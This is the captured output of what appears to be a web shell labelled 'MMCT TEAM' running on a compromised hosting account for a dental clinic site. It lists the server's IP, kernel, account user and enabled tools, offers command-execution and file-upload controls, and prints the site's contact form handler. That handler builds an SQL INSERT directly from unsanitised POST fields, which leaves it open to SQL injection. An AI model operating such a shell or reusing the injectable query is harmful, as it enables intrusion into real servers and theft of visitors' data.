MMCT TEAM
1Server IP : 217.21.90.164  /  Your IP : 216.73.216.51
Web Server : LiteSpeed
System : Linux in-mum-web840.main-hosting.eu 4.18.0-553.37.1.lve.el8.x86_64 #1 SMP Mon Feb 10 22:45:17 UTC 2025 x86_64
User : u367232671 ( 367232671)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF
Directory (0755) :  /home/u367232671/domains/zeropaindentist.com/public_html/css/dbh/contactUs/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/u367232671/domains/zeropaindentist.com/public_html/css/dbh/contactUs/contact_handler.php
<?php
if (!isset($_POST['contactSubmit'])) {
  header("Location: ./../../Login.php?MSG=Invalid Try to Login&MSG_C=danger&MSG_H=Invalid Acess");
} else {
  include './../conn.php';
  $firstname = $_POST['first_name'];
  $lastname = $_POST['last_name'];
  $email = $_POST['email_address'];
  $phone = $_POST['phone'];
  $message = $_POST['message'];
  $sql = "INSERT INTO contact_us (`firstName`,`lastName`, `email`, `phone`, `message`, `c_date`,`e_date`) VALUES ('$firstname','$lastname', '$email', '$phone', '$message',current_time(),current_time())";
  $result = mysqli_query($conn, $sql);
  if ($result) {
    header("Location: ./../../contact.php?MSG=Contact Us Message Send Successful&MSG_C=success&MSG_H=Contact Us Successful");
  } else {
    header("Location: ./../../contact.php?MSG=Contact Us Message Send  Failed&MSG_C=danger&MSG_H=Contact Us Failed");
  }
}

MMCT - 2023